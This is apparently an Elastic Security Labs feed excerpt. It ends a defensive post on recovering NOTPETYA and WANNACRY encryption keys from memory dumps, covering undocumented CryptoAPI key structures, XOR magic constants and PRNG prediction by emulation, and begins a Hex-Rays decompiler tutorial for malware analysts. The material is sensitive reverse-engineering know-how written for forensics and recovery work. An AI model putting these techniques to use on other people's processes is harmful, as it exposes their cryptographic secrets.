<pre><code>0:007:x86&gt; dx @$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10
@$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10 : 0x518d210
0:007:x86&gt; dps poi(0x518d210) l6
004859a0  003a0043
004859a4  0000005c
004859a8  00538418
004859ac  00000000
004859b0  04060550 
004859b4  0048fc48   &lt;&lt;&lt; hKey
0:007:x86&gt; dps 0048fc48 
0048fc48  74a850c0 rsaenh!CPGenKey
0048fc4c  74a9ad90 rsaenh!CPDeriveKey
0048fc50  74a886c0 rsaenh!CPDestroyKey
0048fc54  74a9c770 rsaenh!CPSetKeyParam
0048fc58  74a898c0 rsaenh!CPGetKeyParam
0048fc5c  74a84c40 rsaenh!CPExportKey
0048fc60  74a86290 rsaenh!CPImportKey
0048fc64  74a99880 rsaenh!CPEncrypt
0048fc68  74a8a500 rsaenh!CPDecrypt
0048fc6c  74a9b5c0 rsaenh!CPDuplicateKey
0048fc70  00538418 
0048fc74  e3155764 &lt;&lt;&lt; hCryptKey
0048fc78  22222222
[...]
</code></pre>
<p>The crypto context structures are not made publicly accessible by Microsoft but have been <a href="https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data&amp;s=b0a1fb3f896437fc13727105e44628d6&amp;p=2234957#post2234957">reverse-engineered</a></p>
<pre><code>struct HCRYPTKEY
{
    void* CPGenKey;
    void* CPDeriveKey;
    void* CPDestroyKey;
    void* CPSetKeyParam;
    void* CPGetKeyParam;
    void* CPExportKey;
    void* CPImportKey;
    void* CPEncrypt;
    void* CPDecrypt;
    void* CPDuplicateKey;
    HCRYPTPROV hCryptProv;
    magic_s *magic; // XOR-ed
};
struct magic_s
{
    key_data_s *key_data;
};

struct key_data_s
{
    void *unknown; // XOR-ed pointer
    uint32_t alg;
    uint32_t flags;
    uint32_t key_size;
    void* key_bytes;
};
</code></pre>
<p>From this context, we can extract and decode the location of the AES structure, as the key is known to be <a href="https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data&amp;s=b0a1fb3f896437fc13727105e44628d6&amp;p=2234957#post2234957"><code>0xE35A172C</code></a> for 32-bit processes:</p>
<pre><code>0:007:x86&gt; ? e3155764^ 0xE35A172C
Evaluate expression: 5193800 = 004f4048

0:007:x86&gt; dps poi(004f4048 ) l5
0053cdd0  e3152844   // /* +0 */ unknown
0053cdd4  0000660e   // /* +4 */ alg
0053cdd8  00000001   // /* +8 */ flags
0053cddc  00000010   // /* +c */ key_size
0053cde0  0053ce70   // /* +10 */ key_bytes
</code></pre>
<p>From the dump, we also know the type (AES-CBC), location in memory (<code>0x053ce70</code>), and size (<code>0x10</code>) of the key. The session key can be successfully retrieved!</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image1.png" alt="NOTPETYA file encryption key, extracted from the session context in the memory dump" /></p>
<p>Not only does this allow complete decryption of all encrypted files for this process, but the astute observer would have noticed that all <a href="https://gist.github.com/calladoum-elastic/8a142ad8b20de048a0edb2ec6fde2660">those steps can be automated</a>, allowing us to create decryptors using just the generated memory dump!</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image18.png" alt="Automatically extracting session key" /></p>
<p>To see this process fully, you can watch the <a href="https://youtu.be/UCZFAV9EveQ">demo</a> and check out the <a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-notpetya_extract_key_from_dump-py">code</a> on GitHub.</p>
<p>We can even create scripts for decryption that would apply to all machines infected with the same variant. Even though WinDbg is the tool of choice, all those steps can be completely automated, making this approach very scalable.</p>
<h3>Predicting encryption keys from the process runtime: the case of WANNACRY</h3>
<p>WANNACRY is another ransomware family we felt qualified for this experiment, as it is well-known and – most importantly for this research – used a more complex logic for file encryption:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image8.png" alt="A description of WANNACRY’s encryption from Akbanov et al. (JTIT 2019)" /></p>
<h4>Deep dive into Windows (Pseudo-)random Number generation</h4>
<p>To encrypt files, WANNACRY uses Windows' encryption library and generates one random AES key per file by means of the high-level API function <a href="https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom"><code>advapi32!CryptGenRandom</code></a>. Each key is associated with the corresponding file, then RSA-encrypted and submitted to its C2. By design, the approach we used against NOTPETYA will not work here. WANNACRY offered us a different challenge, once again demonstrating that having a complete memory dump provides other invaluable resources.</p>
<p>Random number generation is often less random than most people think. Generating a truly random number is both challenging and expensive, and this challenge is at the heart of any cryptographic algorithm.</p>
<p>Windows (not unlike other OS) generates <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">random numbers in a pseudo-random way</a>. This means the random number generator derives an initial state (called a seed) with a cryptographic function (for instance, XorShift or Mersenne-Twister). One of the logical consequences of using PRNG is that knowing the state of the random generator at a moment T allows us to know precisely all random values at T+1, T+2, etc. Note that this is not a weakness as randomness is a highly complex and performance-costly operation; this approach is a great trade-off.</p>
<p>We will be taking advantage of this property to defeat WANNACRY. Knowing that WANNACRY repeatedly will call CryptGenRandom to generate the AES encryption for each file, if we have a way to know those values strictly through emulation of the minidump file, then we will also know the possible AES keys. This looks promising but may conceal several roadblocks.</p>
<p>Taking a step back, what is CryptGenRandom in the first place – what does it do? The <a href="https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom">MSDN</a> informs us that this (deprecated) function fills up a buffer with random content using a <a href="https://learn.microsoft.com/en-us/windows/desktop/SecGloss/c-gly">Cryptographic Service Provider</a>(HCRYPTPROV). Setting a breakpoint to CryptGenRandom  allows us to look under the hood with WinDbg on a Windows 11 x64. We can then easily traverse the high-level APIs and observe that <code>advapi32!CryptGenRandom</code> is a wrapper to <code>cryptsp!CryptGenRandom</code>, which in turn leads us to the <code>CPGenRandom</code> function in <code>rsaenh.dll</code>.</p>
<pre><code>0:000&gt; g
Breakpoint 9 hit
CRYPTSP!CryptGenRandom+0x29:
00007ffc`990c1699 488b8be0000000  mov     rcx,qword ptr [rbx+0E0h] ds:000001e1`38ade010=e35a16cde1cff7d0
0:000&gt; dps @rbx
000001e1`38addf30  00007ffc`987956d0 rsaenh!CPAcquireContext
000001e1`38addf38  00007ffc`987951e0 rsaenh!CPReleaseContext
000001e1`38addf40  00007ffc`98791140 rsaenh!CPGenKey
000001e1`38addf48  00007ffc`987a8f80 rsaenh!CPDeriveKey
000001e1`38addf50  00007ffc`987948a0 rsaenh!CPDestroyKey
000001e1`38addf58  00007ffc`987aaac0 rsaenh!CPSetKeyParam
[...]

0:000&gt; t
CRYPTSP!CryptGenRandom+0x3c:
00007ffc`990c16ac ff1506c50000    call    qword ptr [CRYPTSP!_guard_dispatch_icall_fptr (00007ffc`990cdbb8)] ds:00007ffc`990cdbb8={CRYPTSP!guard_dispatch_icall_nop (00007ffc`990c4d30)}

0:000&gt; r rax, rcx,rdx ,r8
rax=00007ffc987954d0 rcx=e35a16cde1cff7d0 rdx=0000000000000010 r8=00000065859bfe70

0:000&gt; .printf &quot;%y\n&quot;, @rax
rsaenh!CPGenRandom (00007ffc`987954d0)
</code></pre>
<p>When <code>CRYPTSP!CryptGenRandom</code> is invoked, the RCX register holds the pointer to the encoded crypto provider, which is XOR encoded with the magic constant <code>0xE35A172CD96214A0</code> (Remember the <code>0xE35A172C</code> magic constant we used earlier? This is its 64-bit version counterpart). Looking at <code>rsaenh!CPGenRandom</code> in IDA made clear the cryptographic provider handle serves only as a check to determine the correct validity of the context passed to the function but has no real implication about the randomness generation.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image17.png" alt="Reversing rsaenh.dll to understand the random number generation" /></p>
<p>The entire randomness generation logic is deported to the function <code>cryptbase!SystemFunction036</code>, which simply takes two arguments: the buffer to receive the random data and its length. This was great news because random number generation had no external factor an attacker could use at runtime to make the generation more complex. Going farther into the rabbit hole, we realized that <code>cryptbase!SystemFunction036</code> itself is nothing more than a light wrapper for <code>bcryptprimitives!ProcessPrng</code>, which – by the name of the function – seems to match our expectations.</p>
<p>The <code>bcryptprimitives</code> DLL is part of the <a href="https://learn.microsoft.com/en-us/windows/win32/seccng/cng-portal">Cryptographic Next Generation API</a> (CNG) and is quite complex. Fully reversing would be out-of-scope for this research, so we only focused on the parts we're interested in. First, we observed that once loaded in the process, the library initializes the process seed - either from the <a href="https://www.felixcloutier.com/x86/rdrand"><code>rdrand</code></a> instruction or from a VTL1 call to the <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes"><code>IumKernelState</code></a> trustlet in the explicitly named <code>InitUmRootRngState</code> function. Then, it populates a random number generator state table and updates the RNG seed version state in the <code>ntdll!_KUSER_SHARED_DATA::RNGSeedVersion</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image9.png" alt="Validating the cryptographic seed initialization from WinDbg" /></p>
<p>When <code>ProcessPrng</code> is invoked, the generation of the next pseudo-random number is determined by a CPU-specific state. To be precise, the processor number on which the current thread is running is used as an index to load and generate the next number. We’ll explain more later, but this will be challenging in the future. Using this state information, the next number is produced by invoking <code>AesRNGState_generate</code>, storing the result inside the buffer given in an argument.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image6.png" alt="Next random buffer generation in cryptbase.dll" /></p>
<p>This is a non-negligible issue for what we’re trying to accomplish. On multiprocessor-aware Windows (which all modern PCs are), it is hard to consistently know the processor number the thread is running on, making generation prediction impossible. However, Windows provides ways to affect the scheduler, as shown below.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image13.png" alt="Retrieving current CPU number to determine the PNRG state table entry to use" /></p>
<h4>Pseudo-Random number prediction through user-mode emulation of the memory dump</h4>
<p>Keeping in sight that to defeat WANNACRY, we need to be able to execute the function <code>cryptbase!SystemFunction036</code> directly from the memory dump. We can make this with an emulator (like QEMU or Bochs) by mapping the execution context (populating the memory layout, restoring the TEB/PEB etc.) gathered from the memory dump of the ransomware, which we did following these steps:</p>
<ol>
<li>Parse the user-mode dump to <a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L272-L287">extract and map all the memory layout</a>; for this step, we used the Python bindings of the <a href="https://github.com/0vercl0k/udmp-parser">udmp-parser</a> library</li>
<li>Fully <a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L291-L322">reconstruct a working memory layout in an emulator</a>, for which <a href="https://github.com/yrp604/bochscpu">bochscpu</a> along with its <a href="https://github.com/hugsy/bochscpu-python">Python bindings</a> were used</li>
<li><a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L354-L370">Rebuild a valid thread context</a> by finding the function <code>cryptbase!SystemFunction036</code> and emulating the runtime</li>
</ol>
<p>However, we still lack the ability to predict on which CPU the thread invoking <code>cryptbase!SystemFunction036</code> will be running on, therefore, cannot accurately predict the following values returned by the function. On a single-core machine, this is not a problem as our PRNG state table will only hold one entry, and this approach was tested to work perfectly out-of-the-box. However, it fails on multi-core systems, as only the first call to <code>cryptbase!SystemFunction036</code> would return the correct random values.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image15.png" alt="Execution of cryptbase!SystemFunction036 on single core VM: different outputs" /></p>
<p>To have accurate emulation on multi-core machines, we need to know the processor number on which the next thread calling <code>cryptbase!SystemFunction036</code> will be called at runtime is fairly impossible. Two possible approaches were tested:</p>
<ol>
<li>From the dump, we have knowledge of the entire PRNG state table. Because of this, we can make the emulation script hook the function <code>ntdll!RtlGetCurrentProcessorNumberEx</code> and use it to determine the index in the random table, then have it generate all the values for a specific core. This approach proved successful but extremely tedious, especially at scale as automation would generate exponential possibilities to retrieve the correctly generated sequence.</li>
<li>Another option happens during the canary detection itself. Once the canary confirms it is ransomware, we can enforce the culprit process CPU affinity to only one CPU, whose index we can choose freely. This can be done from kernel or user mode as long as the targeted process is opened with the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setprocessaffinitymask"><code>PROCESS_SET_INFORMATION</code></a> access right. This processor index will determine the entry taken in the <code>AesStateTable</code> array, and doing so allows us to reliably predict all future values of the PNRG via emulation.</li>
</ol>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image3.png" alt="EExecution of cryptbase!SystemFunction036 on multi-core VM with forced affinity: same output" /></p>
<p>To see the WANNACRY process in full, you can watch the <a href="https://youtu.be/uXqI0ZSqZhI">demo</a>. We also have the <a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27">code</a> available for review on GitHub.</p>
<p>Testing both techniques showed that it is possible to predict the future value of the PRNG with the minidump at our disposal. This would be immensely helpful against ransomware like WANNACRY, which uses Windows PRNG to generate unique AES keys for each encrypted file.</p>
<h2>Incorporating this research into the Elastic Endpoint</h2>
<p>ON Week at Elastic is a place for experimenting without constraints and often leads to great improvements for the existing Elastic solutions.</p>
<p>Process snapshot generation was added to Elastic Security in version <a href="https://www.elastic.co/jp/blog/whats-new-elastic-security-8-11-0">8.11</a>. With protection enabled, should ransomware be detected, the endpoint will generate a complete memory process dump before resuming execution, likely leading to the ransomware process termination. We hope this simple addition can assist DFIR teams further by providing better insight into what the ransomware was attempting.</p>
<p>Recent news has shown that process memory dumps can leak a <a href="https://www.msn.com/en-us/news/technology/microsoft-china-stole-secret-key-that-unlocked-us-govt-email-from-crash-debug-dump/ar-AA1glLPJ">great amount of valuable private information</a> if made available publicly. Therefore, it must be stressed that no memory dump is ever submitted to Elastic, even with the feature enabled. The dump file is generated (and compressed) by the endpoint locally, and the resulting file is stored within Elastic’s secure installation folder (by default, <code>$ElasticInstallPath\Endpoint\cache\RansomwareDumps</code>). This way, the dump files cannot be easily tampered with by attackers but are easily accessible to forensics and incident response teams to assist them in the recovery process.</p>
<p>Let’s demonstrate this feature in action on a fresh Elastic 8.11 against NOTPETYA: <a href="https://youtu.be/d16yKWUf3dI">watch the demo</a></p>
<h2>Closing remarks</h2>
<p>This concluded our ON Week research with quite a positive outcome. Did we come up with a bulletproof solution against all ransomware? No, and such a thing likely won’t ever exist. As we’ve underlined in the introduction, ransomware exists in so many types and varieties that it probably seems impossible to have one solution for all.</p>
<p>What this research found, however, was that this approach offers a great trade-off between FP risk, system requirements, and potential outcome. There is very little risk of snapshotting the process memory should it be flagged as ransomware by the canary feature. In the case of a false positive, the computer would simply end up with a dump file in a protected location (and ZIP compression would drastically reduce the footprint on disk).</p>
<p>While this is not the perfect ransomware solution, offering a memory dump of the ransomware can boost forensic work and potentially allow teams to recover or even predict session encryption keys. Complete memory dumps can be an amazing ally in debugging and forensics because they provide an exhaustive view of how things happen at runtime. And thanks to emulation, we can confidently retrace some of the steps that lead to a compromise and hopefully fix it.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/photo-edited-07.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Introduction to Hex-Rays decompilation internals]]></title>
            <link>https://www.elastic.co/jp/security-labs/introduction-to-hexrays-decompilation-internals</link>
            <guid>introduction-to-hexrays-decompilation-internals</guid>
            <pubDate>Wed, 14 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[In this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code. The final section includes a practical example demonstrating how to annotate a custom import table for malware analysis.</p>
<p>This guide is meant to help reverse engineers and malware analysts better understand the internal structures used during IDA's function decompilation. We advise keeping an eye on the <a href="https://hex-rays.com/products/decompiler/manual/sdk/index.shtml">Hex-Rays SDK</a> that can be found under IDA PRO’s plugins directory, all the structures discussed below are sourced from it.</p>
<h2>Architecture</h2>
<p>Hex-Rays decompiles a function through a multistage process starting with the disassembled code of a function:</p>
<ol>
<li>
<p>Assembly code to microcode:<br />
It does a conversion of the assembly instructions that are stored in an <a href="https://hex-rays.com/products/ida/support/sdkdoc/classinsn__t.html"><code>insn_t</code></a> structure to microcode instructions represented by a <a href="https://hex-rays.com/products/decompiler/manual/sdk/classminsn__t.shtml"><code>minsn_t</code></a> structure</p>
</li>
<li>
<p>CTree generation:<br />
From the optimized microcode, Hex-Rays generates the Abstract Syntax Tree(AST), its nodes are either statements (<a href="https://hex-rays.com/products/decompiler/manual/sdk/structcinsn__t.shtml"><code>cinsn_t</code></a>) or expressions (<a href="https://hex-rays.com/products/decompiler/manual/sdk/structcexpr__t.shtml"><code>cexpr_t</code></a>); note that both <code>cinsn_t</code> and <code>cexpr_t</code> inherit from the <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcitem__t.shtml"><code>citem_t</code></a> structure</p>
</li>
</ol>
<h2>Microcode</h2>
<p>Microcode is an intermediate language (IL) used by Hex-Rays, generated by lifting the assembly code of a binary. This has multiple advantages, one of which is that it is processor-independent.</p>
<p>The following screenshot displays the assembly and decompiled code, alongside its microcode extracted using <a href="https://github.com/gaasedelen/lucid">Lucid</a>, a tool that facilitates microcode visualization.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image5.png" alt="A view of the assembly code, decompiled code, and microcode" /></p>
<p>We can access the MBA (microcode block array) through the <code>cfunc_t</code> structure of a decompiled function with the MBA field.</p>
<p><em>Tip:</em> we get the <code>cfunc_t</code> of a decompiled function with the <code>ida_hexrays.decompile</code>.</p>
<p><a href="https://hex-rays.com/products/decompiler/manual/sdk/classmba__t.shtml"><code>mba_t</code></a> is an array of micro blocks <a href="https://hex-rays.com/products/decompiler/manual/sdk/classmblock__t.shtml"><code>mblock_t</code></a>, the first block represents the entry point of the function and the last one represents the end. Micro blocks (<code>mblock_t</code>) are structured in a double linked list, we can access the next / previous block with <code>nextb</code>/<code>prevb</code> fields respectively. Each <code>mblock_t</code> includes a double linked list of microcode instructions <code>minsn_t</code>, accessed by the field <code>head</code> for the first instruction of the block and <code>tail</code> for the last instruction of the block. The <code>mblock_t</code> structure is depicted in the following code snippet.</p>
<pre><code class="language-C">class mblock_t
{
//...
public:
  mblock_t *nextb;              ///&lt; next block in the doubly linked list
  mblock_t *prevb;              ///&lt; previous block in the doubly linked list
  uint32 flags;                 ///&lt; combination of \ref MBL_ bits
  ea_t start;                   ///&lt; start address
  ea_t end;                     ///&lt; end address
  minsn_t *head;                ///&lt; pointer to the first instruction of the block
  minsn_t *tail;                ///&lt; pointer to the last instruction of the block
  mba_t *mba;  
</code></pre>
<p>A microcode instruction <code>minsn_t</code> is a double linked list, each microcode instruction contains 3 operands: left, right, and destination. We can access the next/previous microcode instruction of the same block with <code>next</code>/<code>prev</code> fields; the opcode field is an enumeration (<a href="https://hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp.shtml#:~:text=enum-,mcode_t,-%7B%0A%C2%A0%C2%A0m_nop"><code>mcode_t</code></a>) of all the microinstruction opcodes, for example, the <code>m_mov</code> enum represents the <code>mov</code> opcode.</p>
<pre><code class="language-C">class minsn_t
{
//...
public:
  mcode_t opcode;       ///&lt; instruction opcode enumeration
  int iprops;           ///&lt; combination of \ref IPROP_ bits
  minsn_t *next;        ///&lt; next insn in doubly linked list. check also nexti()
  minsn_t *prev;        ///&lt; prev insn in doubly linked list. check also previ()
  ea_t ea;              ///&lt; instruction address
  mop_t l;              ///&lt; left operand
  mop_t r;              ///&lt; right operand
  mop_t d;              ///&lt; destination operand
 //...

enum mcode_t
{
  m_nop    = 0x00, // nop                       // no operation
  m_stx    = 0x01, // stx  l,    {r=sel, d=off} // store register to memory     
  m_ldx    = 0x02, // ldx  {l=sel,r=off}, d     // load register from memory    
  m_ldc    = 0x03, // ldc  l=const,     d       // load constant
  m_mov    = 0x04, // mov  l,           d       // move                        
  m_neg    = 0x05, // neg  l,           d       // negate
  m_lnot   = 0x06, // lnot l,           d       // logical not
//...
};
</code></pre>
<p>Each operand is of type <a href="https://hex-rays.com/products/decompiler/manual/sdk/classmop__t.shtml"><code>mop_t</code></a>, depending on the type (accessed with the <code>t</code> field) it can hold registers, immediate values, and even nested microcode instructions. As an example, the following is the microcode of a function with multiple nested instructions:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image3.png" alt="Nested microcode instructions" /></p>
<pre><code class="language-C">class mop_t
{
	public:
	  /// Operand type.
	  mopt_t t;
	union
	  {
	    mreg_t r;           // mop_r   register number
	    mnumber_t *nnn;     // mop_n   immediate value
	    minsn_t *d;         // mop_d   result (destination) of another instruction
	    stkvar_ref_t *s;    // mop_S   stack variable
	    ea_t g;             // mop_v   global variable (its linear address)
	    int b;              // mop_b   block number (used in jmp,call instructions)
	    mcallinfo_t *f;     // mop_f   function call information
	    lvar_ref_t *l;      // mop_l   local variable
	    mop_addr_t *a;      // mop_a   variable whose address is taken
	    char *helper;       // mop_h   helper function name
	    char *cstr;         // mop_str utf8 string constant, user representation
	    mcases_t *c;        // mop_c   cases
	    fnumber_t *fpc;     // mop_fn  floating point constant
	    mop_pair_t *pair;   // mop_p   operand pair
	    scif_t *scif;       // mop_sc  scattered operand info
	  };
	#...
}

/// Instruction operand types
typedef uint8 mopt_t;
const mopt_t
  mop_z   = 0,  ///&lt; none
  mop_r   = 1,  ///&lt; register (they exist until MMAT_LVARS)
  mop_n   = 2,  ///&lt; immediate number constant
  mop_str = 3,  ///&lt; immediate string constant (user representation)
  #...
</code></pre>
<p>The microcode generation progresses through various maturity levels, also referred to as optimization levels. The initial level, <code>MMAT_GENERATED</code>, involves the direct translation of assembly code into microcode. The final optimization level before generating the CTree is <code>MMAT_LVARS</code>.</p>
<pre><code class="language-C">enum mba_maturity_t
{
  MMAT_ZERO,         ///&lt; microcode does not exist
  MMAT_GENERATED,    ///&lt; generated microcode
  MMAT_PREOPTIMIZED, ///&lt; preoptimized pass is complete
  MMAT_LOCOPT,       ///&lt; local optimization of each basic block is complete.
                     ///&lt; control flow graph is ready too.
  MMAT_CALLS,        ///&lt; detected call arguments
  MMAT_GLBOPT1,      ///&lt; performed the first pass of global optimization
  MMAT_GLBOPT2,      ///&lt; most global optimization passes are done
  MMAT_GLBOPT3,      ///&lt; completed all global optimization. microcode is fixed now.
  MMAT_LVARS,        ///&lt; allocated local variables
};
</code></pre>
<h3>Microcode traversal example</h3>
<p>The following Python code is used as an example of how to traverse and print the microcode instructions of a function, it traverses the microcode generated at the first maturity level (<code>MMAT_GENERATED</code>).</p>
<pre><code class="language-Python">import idaapi
import ida_hexrays
import ida_lines


MCODE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('m_'), dir(ida_hexrays))])

def get_mcode_name(mcode):
    &quot;&quot;&quot;
    Return the name of the given mcode_t.
    &quot;&quot;&quot;
    for value, name in MCODE:
        if mcode == value:
            return name
    return None


def parse_mop_t(mop):
    if mop.t != ida_hexrays.mop_z:
        return ida_lines.tag_remove(mop._print())
    return ''


def parse_minsn_t(minsn):
    opcode = get_mcode_name(minsn.opcode)
    ea = minsn.ea
    
    text = hex(ea) + &quot; &quot; + opcode
    for mop in [minsn.l, minsn.r, minsn.d]:
        text += ' ' + parse_mop_t(mop)
    print(text)
    
    
def parse_mblock_t(mblock):
    minsn = mblock.head
    while minsn and minsn != mblock.tail:
        parse_minsn_t(minsn)
        minsn = minsn.next
    

def parse_mba_t(mba):
    for i in range(0, mba.qty):
        mblock_n = mba.get_mblock(i)
        parse_mblock_t(mblock_n)


def main():
    func = idaapi.get_func(here()) # Gets the function at the current cursor
    maturity = ida_hexrays.MMAT_GENERATED
    mbr = ida_hexrays.mba_ranges_t(func)
    hf = ida_hexrays.hexrays_failure_t()
    ida_hexrays.mark_cfunc_dirty(func.start_ea)
    mba = ida_hexrays.gen_microcode(mbr, hf, None, ida_hexrays.DECOMP_NO_WAIT, maturity)
    parse_mba_t(mba)


if __name__ == '__main__':
    main()
</code></pre>
<p>The script's output is presented below: on the left, the printed microcode in the console, and on the right, the assembly code by IDA:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image10.png" alt="Microcode traversal script’s output, assembly code" /></p>
<h3>CTree</h3>
<p>In this section, we'll dive into the core elements of Hex-Rays CTree structure, then proceed to a practical example demonstrating how to annotate a custom import table of malware that loads APIs dynamically.</p>
<p>For a better understanding, we will be leveraging the following plugin (<a href="https://github.com/patois/HRDevHelper">hrdevhelper</a>) that allows us to view the CTree nodes in IDA as a graph.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image7.png" alt="CTree graph of a function generated using hrdevhelper" /></p>
<p><a href="https://hex-rays.com/products/decompiler/manual/sdk/structcitem__t.shtml"><code>citem_t</code></a> is an abstract class that is the base for both <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcinsn__t.shtml"><code>cinsn_t</code></a> and <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcexpr__t.shtml"><code>cexpr_t</code></a>, it holds common info like the address, item type and label while also featuring constants like <code>is_expr</code>, <code>contains_expr</code> that can be used to know the type of the object:</p>
<pre><code class="language-C">struct citem_t
{
  ea_t ea = BADADDR;      ///&lt; address that corresponds to the item. may be BADADDR
  ctype_t op = cot_empty; ///&lt; item type
  int label_num = -1;     ///&lt; label number. -1 means no label. items of the expression
                          ///&lt; types (cot_...) should not have labels at the final maturity
                          ///&lt; level, but at the intermediate levels any ctree item
                          ///&lt; may have a label. Labels must be unique. Usually
                          ///&lt; they correspond to the basic block numbers.
  mutable int index = -1; ///&lt; an index in cfunc_t::treeitems.
                          ///&lt; meaningful only after print_func()
//...
</code></pre>
<p>The item type accessed with the <code>op</code> field indicates the type of the node, expression nodes are prefixed with <code>cot_</code> and the statements nodes are prefixed with <code>cit_</code>, example <code>cot_asg</code> indicates that the node is an assignment expression while <code>cit_if</code> indicates that the node is a condition (if) statement.</p>
<p>Depending on the type of the statement node, a <code>cinsn_t</code> can have a different attribute for example if the item type is <code>cit_if</code> we can access the detail of the condition node through the <code>cif</code> field, as seen in the below snippet, <code>cinsn_t</code> is implemented using a union. Note that a <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcblock__t.shtml"><code>cblock_t</code></a> is a block statement which is a list of <code>cinsn_t</code> statements, we can find this type for example at the beginning of a function or after a conditional statement.</p>
<pre><code class="language-C">struct cinsn_t : public citem_t
{
  union
  {
    cblock_t *cblock;   ///&lt; details of block-statement
    cexpr_t *cexpr;     ///&lt; details of expression-statement
    cif_t *cif;         ///&lt; details of if-statement
    cfor_t *cfor;       ///&lt; details of for-statement
    cwhile_t *cwhile;   ///&lt; details of while-statement
    cdo_t *cdo;         ///&lt; details of do-statement
    cswitch_t *cswitch; ///&lt; details of switch-statement
    creturn_t *creturn; ///&lt; details of return-statement
    cgoto_t *cgoto;     ///&lt; details of goto-statement
    casm_t *casm;       ///&lt; details of asm-statement
  };
//...
</code></pre>
<p>In the example below, the condition node of type <code>cit_if</code> has two child nodes: the left one is of type <code>cit_block</code> which represents the &quot;True&quot; branch and the right is the condition to evaluate, which is a call to a function, a third child is missing as the condition does not have a &quot;False&quot; branch.</p>
<p>The following is a graph showcasing the statement node cit_if</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image1.png" alt="A graph showcasing the statement node cit_if" /></p>
<p>Find the associated decompilation for the above CTree:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image8.png" alt="The associated decompilation for the above CTree" /></p>
<p>The same logic applies to expressions nodes <code>cexpr_t</code>, depending on the node type, different attributes are available, as an example, a node of type <code>cot_asg</code> has children nodes accessible with the fields <code>x</code> and <code>y</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introduction-to-hexrays-decompilation-internals/image2.png" alt="A graph showcasing the expression node cot_asg" /></p>
<pre><code class="language-C">struct cexpr_t : public citem_t
{
  union
  {
    cnumber_t *n;     ///&lt; used for \ref cot_num
    fnumber_t *fpc;   ///&lt; used for \ref cot_fnum
    struct
    {
      union
      {
        var_ref_t v;  ///&lt; used for \ref cot_var
        ea_t obj_ea;  ///&lt; used for \ref cot_obj
      };
      int refwidth;   ///&lt; how many bytes are accessed? (-1: none)
    };
    struct
    {
      cexpr_t *x;     ///&lt; the first operand of the expression
      union
      {
        cexpr_t *y;   ///&lt; the second operand of the expression
        carglist_t *a;///&lt; argument list (used for \ref cot_call)
        uint32 m;     ///&lt; member offset (used for \ref cot_memptr, \ref cot_memref)
                      ///&lt; for unions, the member number
      };
      union
      {
        cexpr_t *z;   ///&lt; the third operand of the expression
        int ptrsize;  ///&lt; memory access size (used for \ref cot_ptr, \ref cot_memptr)
      };
    };
//...
</code></pre>
<p>Finally the <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcfunc__t.shtml"><code>cfunc_t</code></a> structure holds information related to the decompiled function, the function address, the microcode block array, and the CTree accessed with the <code>entry_ea</code>, <code>mba</code> and <code>body</code> fields respectively.</p>
<pre><code class="language-C">struct cfunc_t
{
  ea_t entry_ea;             ///&lt; function entry address
